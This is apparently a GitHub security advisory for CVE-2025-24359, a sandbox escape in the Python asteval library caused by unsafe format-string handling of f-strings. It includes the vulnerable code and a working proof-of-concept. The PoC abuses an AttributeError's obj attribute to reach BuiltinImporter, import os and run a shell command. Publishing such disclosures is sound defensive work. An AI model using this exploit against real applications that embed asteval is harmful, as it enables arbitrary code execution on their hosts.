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ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape

High severity GitHub Reviewed Published Jan 24, 2025 in lmfit/asteval • Updated Jan 25, 2025

Package

pip asteval (pip)

Affected versions

<= 1.0.5

Patched versions

1.0.6

Description

Summary

If an attacker can control the input to the asteval library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.

Details

The vulnerability is rooted in how asteval performs handling of FormattedValue AST nodes. In particular, the on_formattedvalue value uses the dangerous format method of the str class, as shown in the vulnerable code snippet below:

    def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
        "formatting used in f-strings"
        val = self.run(node.value)
        fstring_converters = {115: str, 114: repr, 97: ascii}
        if node.conversion in fstring_converters:
            val = fstring_converters[node.conversion](val)
        fmt = '{__fstring__}'
        if node.format_spec is not None:
            fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
        return fmt.format(__fstring__=val)

The code above allows an attacker to manipulate the value of the string used in the dangerous call fmt.format(__fstring__=val). This vulnerability can be exploited to access protected attributes by intentionally triggering an AttributeError exception. The attacker can then catch the exception and use its obj attribute to gain arbitrary access to sensitive or protected object properties.

PoC

The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the whoami command on the host machine:

from asteval import Interpreter
aeval = Interpreter()
code = """
# def lender():
#     ga
    
def pwn():
    try:
        f"{dict.mro()[1]:'\\x7B__fstring__.__getattribute__.s\\x7D'}"
    except Exception as ga:
        ga = ga.obj
        sub = ga(dict.mro()[1],"__subclasses__")()
        importer = None
        for i in sub:
            if "BuiltinImporter" in str(i):
                importer = i.load_module
                break
        os = importer("os")
        os.system("whoami")

# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below
# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works
        
pwn()
"""
aeval(code)

References

@newville newville published to lmfit/asteval Jan 24, 2025
Published by the National Vulnerability Database Jan 24, 2025
Published to the GitHub Advisory Database Jan 24, 2025
Reviewed Jan 24, 2025
Last updated Jan 25, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(18th percentile)

CVE ID

CVE-2025-24359

GHSA ID

GHSA-3wwr-3g9f-9gc7

Source code

Credits

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